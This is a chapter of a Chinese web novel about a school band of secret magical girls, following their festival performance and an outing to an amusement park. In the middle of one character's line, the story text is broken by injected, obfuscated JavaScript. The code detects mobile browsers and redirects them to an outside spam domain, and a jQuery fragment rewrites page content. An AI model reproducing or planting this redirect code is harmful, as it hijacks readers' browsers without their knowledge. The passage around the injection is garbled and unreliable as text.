“怎么了?现在要去练习吗?现在就要前往那片拥挤黑暗的邪恶空间中反复弹奏不可名状的音符是否为时过早?”森山寺未央有些紧张地问。 “也不是,”犬山晓连忙摆了摆手,她只是觉得这样随意地到处走来走去,偶尔能遇到朋友的感觉也不错,“十点去后台集合就好,我刚才听说后勤部门采购了特别的团子。” “所以到底为什么是团子呢?后勤部门负责人也不是家族继承式的吧。”森山寺未央想不通,“不过挺好吃的,有的粘牙。” “其实是因为团子的供应商想打广告吧,它是设计有专利的那个牌子对吧?不过因为那个牌子名气太大了所以学生们反而以为那个牌子放在那里是在介绍点心。”森山寺未雅说。 “是这样吗。”犬山晓无从反驳,心里忽然就觉得那个团子上有莫名邪恶的气息笼罩。 “顺便还能在家长面前将这个牌子和日之森联系起来呢。”森山寺未央点点头,还是觉得那个团子挺好吃的。 简单聊几句之后犬山晓便离开了,继续在校园里闲逛,并和认识的人打招呼。 而另一边,早早就到了学校里的有乐羽生本来在学生会里与其他人讨论校园祭的一些事项,同时也有人表示期待她今天的演出,无论是否是真的恭喜她都一一道谢,笑容比起以往的客套多了一些真心。 她今天出门前从衣柜里取出了相对来说最为不正式的一套,天蓝色的细腻布料被剪裁之后根据其主人的身体围度缝纫,在贴合身体的同时在袖子和腰部优雅地留出了刻意的宽松尺寸,但实际上依旧和乐队的感觉不太相符。 而且没有可以放东西的口袋,好在她大多数情况下不需要担心这个。有乐羽生的折叠空间内东西不多,多数为必需品,她不喜欢往那里面放垃圾或临时用品。 “有乐,听说你今天要上台演出?”天生目白在有乐羽生准备离开时单独找她谈话,她今天倒是没穿校服,但那天生目家族所爱的传统灰绿色正装比校服更不符合节日氛围。 “是的。”有乐羽生转身回应,笑容淡了些。 “看样子你玩的还挺开心的,我也不是故意想破坏你的心情,”天生目白温和的笑容在想起自己之前的经历时僵住了一瞬,但很快恢复,“作为朋友我想劝你,还是早点看清楚为好。” 听到这里的有乐羽生又想起了自己父母的话,餐厅的阴影一瞬间笼罩了她,本有些飘然的内心思绪被砸到了地上。 真是讨厌,有乐羽生心里想着,笑容却没变。她从小就自以为和我是同一种人,安于学生会成员的身份并且引以为豪,不过是因为自己在家里不受父母重视说不上话,想在学生会里找存在感而已。 小时候的一次宴会上,被父母拉去行礼的有乐羽生看见了站在自己对面的天生目白的父母,以及她父母的其它孩子,小时候的天生目白脸色不善地躲在后面,隐约能看见脸颊上有伤。 在宴会的角落再次遇到她后,两人顺利地聊了起来,并且马上就因为有共同话题成为了不错的朋友。而在一同入学了日之森后,二人更是在校园里结伴同行,小学和初中部□□学,二人在班级里处于近乎顶端的位置,有乐羽生并不在乎这些,但天生目白不同。 那些温和的笑容,故作有礼的姿态,无一不是多年前她为了融入日之森的学生会而强行让自己学会的,有乐羽生记得天生目白小时候是个更加粗鲁,更加情绪化的人。比起现在这样,她反而更喜欢对方小时候的样子,虽然那个时候她们也没什么好聊的。 而直到现在,天生目白大概依旧没有看透有乐羽生对于二人所在环境的厌倦吧,但有乐羽生已经不想和她解释这些了。 没错,她有了新的朋友,那些朋友才是她真正的同类,拥有同样的使命,是世界上真正独一无二的存在。所谓的看清现状也只不过是归顺于规则而预防被规则伤害而已,但现在她认为自己不去遵循规则也没关系了,在家里依旧不反抗父母是因为她还想向她们证明自己而已。 没错,但天生目白仅仅是一个陪伴者而已,有乐羽生觉得自己没有必要再进一步理解她。 于是她没有再露出笑容,看着对方的眼睛。 “我不理解你在说什么,你的行为让我感到不舒服了,别再来找我了可以吗?我有自己的朋友,并且很喜欢她们。” “你怎么说我都没关系,但是有乐阿姨的话你得听吧?”天生目白的眼尾抽搐了一下,有乐羽生知道自己的话让对方动容了。 “比起我们家的事情,不如多考虑一下你自己家吧,天生目同学?”有乐羽生重新挂起了微笑,强调了对方的姓氏,“母亲的话我都记着呢,她也说过最近你们家里并不太平,比起来找我重复这些东西,不如你也看清楚一点自己应该做什么吧?” 语毕,有乐羽生没有去理会对方阴沉的脸色,转身走了。 被抛在身后的天生目白沉默地盯着对方离去的身影,很久之后才再次开口说话。 “算了。”她恶狠狠地这样说,眼神落在学生会的几个注意到这里的成员,却又像是在叹气。 初中部时,有乐羽生与初中部学生会会长交好,礼仪无可指摘,几乎人人都以为她到高中部时会延续这种作风,继续作为学生会干部引导成员管理学生,甚至可能竞争学生会会长。但谁也没想到开学第一天她便带着一群转学生上交了一份乐队社团申请书,成员更是一些从来没听说过的角色。 她疯了吗?这是某种被校董会指派的亲民策略吗?她什么时候打算结束?几乎没有人觉得她是认真的,直到校园祭的参演目录上加上了她所在的乐队的名字,大家才反应过来,有乐羽生是真的在和那些普通人交朋友。 这样下去不行,这样下去她会遭到排斥,校董会在会议上有强大话语权,却无法干涉学生的关系,如果有乐羽生因作风问题遭到学生会成员的针对那她的父母也对此没什么办法,甚至说她的父母明显也不认同她的做法。 她自己吃了苦头就知道了,天生目白想,就和当年的我一样。 而到了那个时候再去安慰她吧,说到底她还能去哪呢? 心情不佳的有乐羽生在漫无目的地走着,她知道自己自从开学之后就因为作风问题被架空了一部分职责,即使是在校园祭这样的重要表现时候也没有什么事可以做。但比起这些她更在乎一会的演出,以及演出之后大家一起去游乐园。 想到这里她的表情又好看了起来,将之前的不愉快全都忘记了。 “羽生,你在这里呀。”学生会所属楼一楼走廊外的花园里传来了艾克里普的声音,有乐羽生惊讶地转头看去,发现对方站在梯子的顶端,伸着胳膊在挂彩旗。 两周多的相处时间里,虽然并不是天天见面,但乐队四人的关系迅速地亲近了起来,这点简单地表现在彼此之间的称呼。 为什么我们能如此迅速又自然地亲近彼此呢?有乐羽生心想,但又享受这份与众不同的亲密。 “阿尔卡纳同学,小心,不要在这个时候聊天!”在下面扶住梯子的两位同学连忙呼喊。 停驻在走廊边上的有乐羽生靠在栏杆上探头出去看,走廊虽然在一楼,但和地面依然有一定高度差,所以在除了出口楼梯以外的地方都装了围栏,瓷白的大理石在阳光的照射下闪烁,不经意倒映出一些绿色,整个回廊如同绿色的池水内部一般。 迅速结束了工作的艾克里普在同学的提醒下跳下了梯子,与二人谈了两句之后便分开了。她站到走廊外侧,有乐羽生发现对方即使是这样也比站在走廊里的自己高一点。 “没想到还能在这里遇到羽生,真是幸运的巧合呢。时间还早,一起去逛逛吗?”艾克里普邀请,她对于校园祭非常感兴趣。 “正合我意,我现在也没什么事情可以做。”有乐羽生点点头,退后几步,她以为艾克里普会直接翻过栏杆,毕竟这只需要跨一步,但她还是走到了远处的楼梯入口,绕了一圈走到有乐羽生的身边。 “走吧,今天学校里还能看见好多老师呢。”艾克里普说。 二人一起沿着走廊往摊位所在的区域走去。 艾克里普今天的着装没什么学生感觉,上身是挂脖式的白色背心,套着一件绿色条纹夹克,下半身穿了条蓝色牛仔裤,比起往常的校服更能凸显她的身高。有乐羽生与她肩并肩,转头只能看到对方的外套袖子。 “虽然说现在说有的迟了吧。”有乐羽生忍不住感叹说,“艾克里普真的好高啊,至少有一米八吧,还是说更高一点?” “我其实也没怎么量过,不过之前没有戴眼镜的时候确实很多人说我身高很显眼。”艾克里普理了理自己今天特意编了的头发,“不过我发现鼓手都是最高的那个,那么我的身高也是理所应当如此的吧。” “确实,艾克里普在我们身后很令人安心呢。无论是作为魔法的老师也好还是乐队的鼓手也好。”有乐羽生笑着点点头。 听到这些评价的艾克里普内心感到雀跃,她喜欢来自自己同伴的肯定,这样来自于能够理解自己的人的认可远比受到普通人的感谢令她动容。 “艾克里普来帮忙之前逛过门口那些摊位了吗?”有乐羽生指的是那商业街。 “还没有,我刚进学校不久就被拉去帮忙了,大家今天真的很忙碌呢。祭典理所应当被重视,但没想到老师也会一起帮忙,我认为今天她们会休息的。”艾克里普对这一点有些意外。 “确实如此,日之森的校园祭虽然每年都举办,但每年都在想方设法地让活动变得新颖,内容更多元化。”有乐羽生说着学生会会议摘要,“老师也是展出内容之一哦。” “原来是这样啊!这样就说得通了。”艾克里普理解了,“羽生以前初中的时候也会参加这些祭典吗?” “当然,我偶尔也会作为学生会代表策划活动或者作为演出活动的主持人,所以我对这些流程才这么熟悉。”有乐羽生点头。 艾克里普有些意外,但她在思索过后迅速理解了自己的想法出了什么差错,有乐羽生作为学生会的一员管理祭典活动是正常的,并非只负责观看篝火与舞蹈。 “原来是这样,羽生在这个学校中也有所负责之事。那其实日之森对羽生来说就和家一样吧。”艾克里普感叹道。 听到这里,有乐羽生并没有马上回复,按照往常的习惯她此时应该露出满分笑容并且点头,但此时对于自己内心承认的同伴,她想要露出一些真实的内心想法。 “其实也并不是这样,”她略微低下头这样说,“虽然在这里待了很久,但实际上我并没有真正地感受到我的内心认同这里。” “抱歉,”艾克里普察觉到了对方的失落,有些不知所措,“让你想起了伤心事吗?” “不,这并不是值得伤心的事实。”有乐羽生摇摇头,想了想,“只不过是一些我内心的想法。我偶尔会觉得这里虽然一直在保持与外界信息和文化的同步,但本质上一直没有变。 我小学时这里的人是这幅模样,现在这里的人也是这幅模样,嘴里说的话换了一番,内心却还是老样子。说实话我有时候觉得很孤单,很无聊,觉得我其实并不属于这里,但哪怕是我真正的家里也依然给我同样的感觉。” 这样说出内心的想法让有乐羽生内心的郁闷放松了些,但她又担心自己所说的无法被理解,亦或者干脆被否定,于是在下一瞬间又暗自开始后悔说了这么多。 “在一个地方待了很长时间却依然感到陌生吗?”艾克里普露出了怀念的笑容,“我也是这样的,羽生。所以我才发自内心地感谢我们能够相遇,似乎这件事被我重复了很多次,但哪怕是一百年以后,想起这件事也一定能让我露出笑容的。” “是这样吗?”有乐羽生惊讶道,一直以来艾克里普深厚的魔法经验和奇怪的社会常识都给她留下了神秘的印象,虽然大家都没有多问,但心里都默认她是位强大的魔法少女,虽然不知为何来到日之森上学。 这样强大的魔法少女,却也有与她相似的感受吗?有乐羽生因这个事实而感到了欣喜。 “是的,羽生,”艾克里普点头,低垂的眼睛与发丝和镜片一起,几乎遮住了她的所有视线,“虽然我们四人都作为魔法少女隐瞒世间的目光战斗,但却唯独能在面对彼此时敞开心扉交流。所以我偶尔也觉得,虽然以往在一个地方停驻了很久,但只有在和大家待在一起时,我感觉自己被接纳,被理解了。” 有乐羽生点点头,她也是这样想的。艾克里普与她简直是完全不相干的两条直线,但因为魔法少女这个链接点,她们成为了一个整体。于是很多心事可以分享,很多秘密可以倾诉。 这确实是奇迹,有乐羽生心想。 “我实际上在这个城市里驻足已久,时间远比你想象的要漫长,或许我来到这个城市的时候羽生的祖辈才刚刚降生哦?”艾克里普笑着看大吃一惊的有乐羽生,“但我直到前几年才真正下定决心与人产生联系,从而真正成为这个社会的一部分。现在想起来我以前其实是个非常胆小的人呢,不知为何就突然发生了改变。” “真是看不出来,艾克里普在我眼里一直都是值得信赖,值得依靠的同伴。”有乐羽生想了想,又说,“那么现在呢?” “现在我感到非常开心,”艾克里普认真地看着有乐羽生说,“我发自内心地觉得这是个奇迹,并且感谢它,让我遇到了你们。” “我也是一样的,哎呀,突然说起这些感人的话题了。”有乐羽生笑了。 但听了这些话之后,有乐羽生原先内心的阴影散去了,仿佛内心的世界也如同今日的蓝天一般晴朗了起来。 “说起来,我开始构建自己的结界了。”有乐羽生谈起自己的魔法。 “这么快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706127|173535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?羽生在使用魔法这方面很有天赋呢,下次也来让我看看你与魔物之间的战斗吧?”艾克里普对她的成长感到欣喜。 “哎呀,我的结界还只有雏形而已,里面什么都没有呢。现在我基本上还是在用很基础的方式与魔物战斗。”有乐羽生有些不好意思。 “慢慢成长起来是好事,不要着急哦。羽生想要什么样的心像世界?”艾克里普问道。 “我其实刚刚有了一些想法,但果然还是得看它自己的变化吧。”有乐羽生也不确定。 两人一边这样聊着,一边走到了摊位所在的地区,周围的人多了起来,二人便也不再聊相关话题了。而这时在金鱼摊位附近围观的犬山晓看见了二人,抬起手打招呼。 “早上好,晓!”有乐羽生笑容灿烂,“是在准备捞金鱼吗?” “早上好羽生,艾克里普。我只是看看,看别人捞很有意思。”犬山晓说,她感觉有乐羽生比起往常开心不少,不过她今天心情也很好。 “这些鱼都很好看,而且游得很快。”艾克里普也站在一旁围观别人捞金鱼,现在摊位旁已经围了不少人,多是小孩子。 “艾克里普想试试看吗?”犬山晓问。 “我住的地方有很多植物,它们和动物相处不来呢。”艾克里普遗憾地摇摇头。 三人结伴前行,偶尔停驻在某个摊位,有说有笑地沿着似乎看不见尽头的街道走着,往常空旷的区域在工作人员的努力下显得让人眼花缭乱但感受又不算拥挤。 “刚才那个摊位上的人是不是古河老师?她也来帮忙了啊。”艾克里普意外地感叹。 “是的,老师们会轮流负责各个地方的工作,坐在旁边的是西西路老师吧。”有乐羽生说。 “说起来没怎么见过这个老师,看着好年轻。”犬山晓看向西西路,并不认识对方。 “我听未央说起来过!她说西西路老师是今年新来的助教,专门管理古河老师的课。”艾克里普想起了对方的名字。 “哎呀,希望二位能相处愉快呢,古河老师很严厉的。”有乐羽生笑了。 “未央说最近相处得挺好的,之前还听到西西路老师夸古河老师桌上照片的猫可爱来着,古河老师很高兴。”艾克里普回忆着说。 “古河老师居然养猫,我从来没见过她的黑色西装上有猫毛。”犬山晓非常惊讶,“不过我偶尔确实在温室那边见过她,我还以为她是去休息的。” “这一点很了不起,她没有魔力是怎么做到的呢?”艾克里普意外道。 差不多走到尽头后三人从另一条路折返,途径入园处附近时听见了有谁在争吵。 “我真的有带票,我找一下,马上!”全身里里外外叠穿多层,带着眼镜,头发在慌乱之下变得乱糟糟的驼背女性在入园处负责人的围观下开始掏全身上下的口袋。 “啊。”犬山晓一眼就看出制造混乱的人是谁,可不就是克拉拉,虽然没穿那身白色外套,但那不良体态和因为暴露在阳光下而显得分外毛躁的头发让她感到非常熟悉。 “晓认识那位女士吗?”有乐羽生发现了犬山晓的反应。 “是的,我邀请她来看我们的演出,抱歉,等我一下。”犬山晓点头,迅速地朝入园处走去,一边从口袋里翻找着什么。 堵在门口打扮有些可疑的人还在全身上下地翻找自己口袋,本来就烦琐的着装在行动时变得逐渐凌乱。她本人似乎完全没意识到这一点,但越来越多的人投来了视线。 “等一下我毛衣里面还有一个口袋我找找一定在里面。”她这样说着就把手伸进自己的第二层衣服里,见状负责人有些汗流浃背,准备开口请她去保安室里。 “这是她的票,抱歉造成了混乱,她是我邀请来的。”犬山晓迅速地与检票处的人完成了沟通,并递给对方自己备用的门票,转过头去看努力翻口袋的克拉拉。 安保人员认识犬山晓,就没有再说什么,挥挥手让克拉拉进门了。 “这不是小犬山嘛!”看见这一幕的克拉拉连蹦带跳地离开了检票口,并试图迅速整理好自己的衣服,好在她的衣服虽然多但穿起来不算难,不一会就恢复了原来的样子。 “我给你的票呢?”说完,犬山晓迅速地意识到了这个问题并没有意义,“算了,难得你起这么早,精神不好也正常。” “其实是根本没有睡,临时的日晒真是让人无处遁形。”克拉拉整理了下自己的头发,注意到了朝犬山晓走来的两个学生,“哦哦,这两位就是你在学校交到的朋友吗?” “是的,也是我的乐队成员。”犬山晓勾起嘴角介绍说,“这两位是艾克里普和羽生,未央和未雅不在这里。” “哦,”听到名字的克拉拉愣了愣,迅速地看向两位,笑着打招呼,“你们好,我的名字是克拉拉,是小犬山的监护人!” “您好,欢迎来到日之森校园祭,克拉拉小姐。”有乐羽生点头微笑,好奇地打量看上去与犬山晓截然不同的克拉拉。 “很高兴见到您,您是来看我们乐队演出的吗?”艾克里普倒是没有在意克拉拉的外表,高兴地问。她理解监护人的意思,便也对保护犬山晓的克拉拉抱有好感。 “当然,难得出门一趟肯定得有所收获。”克拉拉推了推眼镜,笑眯眯地说,“真没想到小犬山这么快就能交到这么多朋友,各位如此稳定,我真是欣慰。” “你还是赶紧到处看看吧,一会十一点再去演出厅。”犬山晓有些不好意思地摆摆手。 “那我去找点东西扔进胃里,一会见哦!”克拉拉懒散地迈步离开了,犬山晓回头,看见其它二人好奇地看着自己。 “克拉拉小姐是晓的姐姐吗?”艾克里普好奇地问,“还是妈妈?不过人种似乎不太一样呢,难道说是远房亲戚?” “都不是,我们没有血缘关系啦!她只是负责在各种表格上签字的人而已。”犬山晓觉得自己起了鸡皮疙瘩。 “克拉拉小姐有种独特的气质呢,很难想象是什么工作的。”有乐羽生有些在意。 “她算是医生或者科研人员?”犬山晓不确定地说,“我也不太清楚,好啦我们快走吧。” 犬山晓没有再多说,她总感觉提起这些令她感到有些非常不好意思。三人一起出发前往演出厅,现在这个时间那扇被工作人员封印的礼堂大门也应该可以拉开了。 演出厅后台空间很大,不仅有提供饮品点心的休息区,也有单独的隔音区,同时也会临时摆放一些演出人员即将使用的乐器,例如Mirare乐队成员自己带来的贝斯和吉他,电子琴和架子鼓由学校后勤部提供。 “你们来啦?”森山寺未央站在点心边桌旁朝三人招手。 边桌上一如既往地摆放着各式各类的丸子,在听过森山寺未雅说过的那些话后,犬山晓看向这些丸子时产生了微妙的情感,不过这并不妨碍她拿起一根三色丸子准备吃。 “那边有咖啡和茶哦,小心噎住。”有乐羽生说,四人带着各自的东西找了个角落坐下,并将乐器放在旁边,开始聊起一会的演出。森山寺未央对演出感到相当紧张,尤其是艾克里普和犬山晓说自己邀请了客人过来看的时候。 “艾克里普邀请了客人?真是少见。”森山寺未央从未听说艾克里普有什么家人或者朋友。 “是最近才有所联系的一个聪明的孩子,以及她的,”艾克里普想了想自己的措辞,“保镖?” “校园祭好像不能放武装人员进来。”有乐羽生有些担心,“那孩子的家里人知道这件事吧?” “那个孩子应该就一个人来吧,大概?”艾克里普其实不确定启明星是否会来,“不过如果她来的话也不用担心安全问题吧,那孩子会有所准备的。” 都说到这个份上了其他三人便也不再追问,毕竟大家都知道艾克里普对于孩子的定义很广泛。这个孩子到底是真的一个需要保镖的小孩,还是高中生年纪的青少年,亦或者干脆就是个成年人,在艾克里普的叙述中根本得不到一个准确答案。 “晓的监护人是个怎么样的人?”森山寺未央对这一点非常好奇。 “和科学老师有点像,不过看上去不那么严肃,衣着品味很复古呢。”有乐羽生说。 就在几人有说有笑的时候,有不少在后台休息的其它学生也注意到了她们。 虽然说一开始大家注意到这些人的活动是因为学生会干部有乐羽生那令人出乎意料的做法,但随着这两周来的相处,高一的同学之间对于其它人也有了些看法,并且偶尔会在私底下讨论。虽然乐队的大家并不想特意去探查,但她们出乎常人的听力总能被动地为她们提供情报。 由于艾克里普使用眼镜降低了自己的存在感,几人中除了有乐羽生话题度最高的便沦为森山寺姐妹二人。即使是在整个日之森高中部中也只有这一对双胞胎的存在,同时二人还连跳两级数学课,这无疑令其它人对二者打上了需要敬而远之的天才标签。 好在对此森山寺姐妹二人乐于远离众人,森山寺未雅不喜欢和陌生人讲话,森山寺未央也不希望有陌生人去刺激自己的姐姐。久而久之二人便逐渐被其它人远离了。 而犬山晓虽然说并没有刻意表现出不希望与别人交流,但她也没有表现出主动和别人交流的欲望。她对于交友的需求在乐队几人之间被满足了,所以她并不指望再在同年龄的学生中找出新的同伴。 一些与她交流的人也因为她那言简意赅的说话方式而产生了对方并不想与我交流的看法,再加上犬山晓平时比较忙,除了偶尔一起训练的操场上的一些学生之外,大多数人对她的印象便是神出鬼没不好说话。 艾克里普反而是几人间对同年龄人态度最好的那个,她的选修课摄影和美术的其它同学都对她印象不错。她知识渊博,无论是什么方面的事情都能说出个一二来,并且愿意耐心地交流,就连老师们偶尔都乐意与她多聊两句。 但或许是因为魔法的作用,哪怕前一天聊的多么愉快,隔几天后对于这些的印象就会被淡忘,连带着对艾克里普这个人的印象也仅仅留下了“亲切并且多识”这样而已。 而此时被疏远的几人坐在一起有说有笑的聊天,不禁也会令人好奇这几人到底是怎么聚在一起的,又是为什么会决定组成乐队呢? 难不成是出于对音乐的热爱吗? 当然,事情的真相不会告诉这些人,哪怕三人清楚她人对自己的看法,也不会对此作出什么纠正或者反应。因为这就是她们需要的,乐队的组成也是为了这个。 15. 陆 不久后演出正式开始了,演出的排序是根据乐队的类型来的,诗朗诵或者小型乐器会被安排在前面,其次是乐队,最后是较为沉重的稀有乐器和戏剧社,上午的演出结束后工作人员就会趁午餐时间将礼堂舞台布置为大型社团需要的样子。 在主持人念完欢迎致辞和乐队名单后,排在前面的社团就开始准备上台了,Mirare乐队几人也同样如此,犬山晓和森山寺未央将乐器背在身上,准备一会接效果器和音响。 “接下来是由Mirare成员们带来的三首歌曲。”主持人说话间前一个社团成员离开,乐队几人从后台走出,来到了舞台上幕布的后方,开始了最后的准备。 【果然直接说话是听不清的。】犬山晓站起身对自己的队员使用魔法传音。 【不知道有多少人?不会像开学典礼那天一样坐满吧?】森山寺未央反复深呼吸平复心情。 【不会的啦,不过人也不少。】有乐羽生调整耳返和麦克风,虽然也有些紧张,但面色上看不出来。 【需要我帮你冷静一下吗?】艾克里普坐在架子鼓后方问,她把眼镜摘下了。 【不,不用了,我不会因为紧张出错。】森山寺未央站在有乐羽生的左后方深吸了一口气。 【开始鼓掌了,大家准备好了吗?】犬山晓站在有乐羽生的右后方,轻轻叩击吉他表面。 幕布将台下的掌声隔绝了些许,也将为主持人打的光隔绝在外,几人心照不宣地等待那束灯光暗淡下来,哪怕已经练习了多次,但真正站在舞台上时的感觉还是不一样的。 先是鼓掌的声音逐渐平息,随后是幕布前的灯光暗下,隔绝在乐队和观众之间的幕布从中间展开,舞台与观众席各自对彼此露出自己的真容。 温暖的灯光在舞台两边亮起,不仅照亮了台上的演出者,也隐约反射了观众们的面孔。台下几乎坐满了人,但仅仅是第一层,上面几层大概是没有开放。 “欢迎各位来到日之森的校园祭,乐队Mirare很荣幸在此为各位带来短暂的演出,希望各位能够享受这段时光。”有乐羽生优雅地站在舞台最前方向台下行礼,正如往常的多次演出那样,但不同的是她身后站着她的朋友们,这令她感到安心,“我是乐队主唱,键盘手有乐羽生。” “吉他手,犬山晓。”犬山晓点头向台下致意,她因为没想到人这么多而感到惊讶,不过并没有特别紧张,她看到观众席最后方站着的克拉拉,笑了笑。 “我是森山寺未央,负责贝斯,请多指教!”大概是考虑到录像会被父母和姐姐一起观看,森山寺未央格外热情地问好。 “我的名字是艾克里普-阿尔卡纳,很高兴作为乐队的鼓手演出!”艾克里普朝台下的启明星招手示意,启明星也微微回礼。 台下响起了一些议论声,但几人不去理会,随着灯光再次产生变化,几人各自准备好。 第一首歌便是由有乐羽生挑选的Wherever you are,虽然说当时只是临时想起这首歌,但后来她将这首歌练习了一遍又一遍,从原声钢琴到电子琴,她发觉自己实际上还挺喜欢这种风格的歌曲的。 轻柔舒缓的钢琴独奏引入了第一首歌,灯光也如同那音符一般温柔地打在舞台上。 “我想告诉你,轻声细语。”有乐羽生开口,随着琴声,每一个音调都恰好落在该在的旋律上。 有乐羽生的嗓音是细而柔和的,并不适合当领唱,但作为合声很好,这是她的声乐老师给出的评价,多年来她作为合唱者站在队伍中为歌曲附上使其更加完善的附和,并不对此有什么想法。她不在乎自己是领唱还是合唱,只要自己参与了合唱演出,自己的父母便可以以此作为谈资并且对她表示满意,这就是她曾经认为的,自己的歌唱的全部价值。 但当她作为主唱,站在自己的乐队的面前,她手下的钢琴键盘随她心意演奏出一个个音符,其它乐队成员看向她,随着她的歌唱为其附上来自其它乐队的旋律。 有乐羽生发现,她喜欢唱歌。 “今晚,就在今晚,你是我的天使。”她看向手里的键盘,如同练习时那样歌唱着,她轻柔的嗓音在空旷的演奏厅里如同一抹幽魂在飘荡,符合着钢琴声调,美丽而悠扬。 这句唱完,吉他手以原声吉他特有的浑厚音调加入这份独唱,瞬间那如幽魂般的旋律有了样貌,同时贝斯入场,那震动一点点融入灯光和地板,于是那幽魂便有了实体。 “我爱着你,亲爱的。”有乐羽生内心安定,继续歌唱着前奏,用温柔的语调。 “想与你共同度过,今晚,就在今晚,我只想对你说。”有乐羽生轻轻合上眼睛,她不需要视力和听力,只需要共鸣。 就在此时,架子鼓恰如其分地加入了进来,本如轻声细语地诉说着什么一般的乐曲展现出了她的真容,一首完整的歌展现在所有人面前,并且从此刻开始,正式出演。 “无论你在哪里,我都会让你露出笑脸。”有乐羽生睁开了眼,直视台下的观众,她的钢琴演奏从原来的单独几个音符变得繁复,正如她想要说些什么来表达自己。 “无论你在哪里,我都会去你的身边。”她唱,而她身后的乐队也附和一般献上音乐。 “无论如何,我的这份感情。” “在此刻,我向你承诺它将永恒不朽。”其它三人在此时附上了合唱。 整首歌在Mirare的演奏下对台下的观众娓娓道来,歌曲中的感情,乐队成员之间对彼此的感情,此时此刻,无论是谁都无法否认这支乐队是一个整体。 不知不觉中第一首歌演奏完毕,台下响起雷鸣般的掌声,在半分钟的休整之后,几人开始演奏第二首歌。第二首歌是森山寺未央选的青春风格快节奏摇滚,与第一首歌截然不同的风格,但也同样被完美地演奏出了乐队自己的感情。 在第三首歌时,几人分别换上了不同的效果器。第三首歌是犬山晓选择的后现代摇滚,优雅而愉快的风格结束了最后的演出。在贝斯长长的尾调结束之后,台下众人无一不献上最热烈的掌声。 “以上便是Mirare乐队为大家带来的演出,感谢各位的观赏。”有乐羽生向观众行礼,心里虽然还对于演出念念不舍,但更多的是对于接下来的出行的期待,语气里透露出了几分欣喜。 幕布再次合上,灯光聚集在主持人身上,几人离开舞台回到休憩区。 “真是完美的演出啊大家!”艾克里普迫不及待地把眼镜带上说,“我看见台下的一些观众都流泪了!” “我也出汗了,真是紧张刺激的演出。”森山寺未央将贝斯放回盒子里,原地蹦哒两下。 “大家辛苦了,”犬山晓将带吸管的水递给几人,“所有人表现的都很好!” “啊谢谢!”还有些怀念舞台上的感觉的有乐羽生开口才发现嗓子有些哑了,“大家都辛苦了!” “果然在舞台上面对观众和在练习时差别很大,总感觉灯光很热。”森山寺未央坐在椅子上一边喝水一边说。 “确实,总感觉视线也有热量呢。”艾克里普靠在墙上学着用水瓶敷脸。 “突然就好饿,刚才太紧张了没感觉。”森山寺未央跳起来去边桌找吃的。 “一起出去吃饭吧,然后去游乐园。”犬山晓一边喝水一边提议说。 “走吧!去游乐园!”一瞬间有乐羽生就恢复了热情。 “先吃饭吧,羽生不饿吗?” “哎呀是有点,我们去哪里吃饭?” “我都可以,大家决定吧?” “游乐园门票有附带自助餐券,大家忍耐一下吧!” “那我想在游乐园吃饭!感觉很有意思啊。” “先把乐器放到社团活动室去吧,我们一会怎么过去?” “我提前设置了空间坐标哦,一会我们从更衣室转移到游乐园附近的休息室就好啦。” “羽生准备的好完善,那现在就走吧?” “太好啦马上能吃饭!我好饿!” “我带了巧克力。” 几人先去社团活动室将乐器放好,锁好门,随后到校园角落里的一处更衣室准备进行转移。 “羽生是怎么找到这个地方的?”森山寺未央打量着周围,这里属于教学楼和社团活动楼的中间地段,此时周围根本没有人。 “这里一开始本来是为戏剧社的学生准备的,”有乐羽生介绍说,“但一直没有人用,后来大家就忘了这里还有个更衣室了。” “果然是只有老人知道的地方啊。”犬山晓理解了。 “这个空间坐标很扎实呢,羽生进步的很快。”艾克里普夸张道。 有乐羽生有些脸红,迅速地启动空间转移,下一瞬间四人便落脚在了新的一处狭窄房间。 “空间魔法也很熟练,羽生很努力哦。”艾克里普再次夸奖。 “原来空间魔法是这种感觉。”犬山晓感觉有些眩晕。 森山寺未央也感受到了眩晕,但她迅速地稳定好自己的状态并且开始回想自己刚才的感受。 “这里是绿地商圈旁边的一个小更衣室,是给小孩子使用的,外面没有监控但可能会有人,我们一会出门后要自然地往外走。”有乐羽生嘱咐好,准备开门。 几人纷纷理解地点头,跟在有乐羽生的身后准备出门。可能是因为今天是工作日,往日里繁忙的商场周围此时没什么人,只有一些人在往商场内部高楼层的餐厅走,没什么人注意到休息室里走出了四个高中生。 几人自然地从监控的死角走出商场大门,阳光正是最耀眼的时候,不远处游乐场特有的摩天轮和过山车便以傲人的身高吸引了视线,旁边坐落着一些其它的游乐设施,远远看去游乐场和两个日之森校区差不多大。 “走吧走吧!”森山寺未央迫不及待地说。 从商场走到游乐园大门口只需要十分钟,但再走到检票处还需要十分钟左右,此时已经不是入园高峰期了,四人很快就通过门口的检票机和安检正式进入园区。 穿过检票口,游乐园的伴奏音乐伴随着不经意的花香和食物香气扑面而来。天空之上,大面积的彩旗随风飘扬,五彩斑斓的条幅交错着,覆盖着从入口一直延伸至远方游乐设施的街道,如同在空中铺展开一条长廊。 就是这样!有乐羽生非常满意自己看的到一切。 身后门口的广播系统播放着轻快的背景音乐,向几人介绍接下来的步骤。眼前街道的到处都能看到身穿布偶服的工作人员,这些五五分身材的兔子是游乐园的吉祥物,以一些经典角色的装饰和打扮扮演着各式各样的兔子吉祥物。能看见一些孩子凑近了之后收到了礼物,而家长们则把这一幕记录下来。 “一会我们也去拍照吧?”犬山晓看着这一幕,有些羡慕地说,“学校舞台上有未雅帮忙录像了,这里也留下点纪念。” 几人都表示同意,并一同往里走去。 街道两旁布满了风格各异的纪念品商店,门口摆放着各式各样的主题玩偶和限量周边,透过玻璃橱窗能看到琳琅满目的商品。沿着主街继续走,一家极具兔子主题风格的多层餐厅映入眼帘,此时正值午餐时间,隔着玻璃就能看见不少游客在往那里走。 “那里应该就是餐厅。”有乐羽生看了看餐厅楼层的门牌,游乐园内有单独设置的门牌号,方便客人根据地图寻找位置。 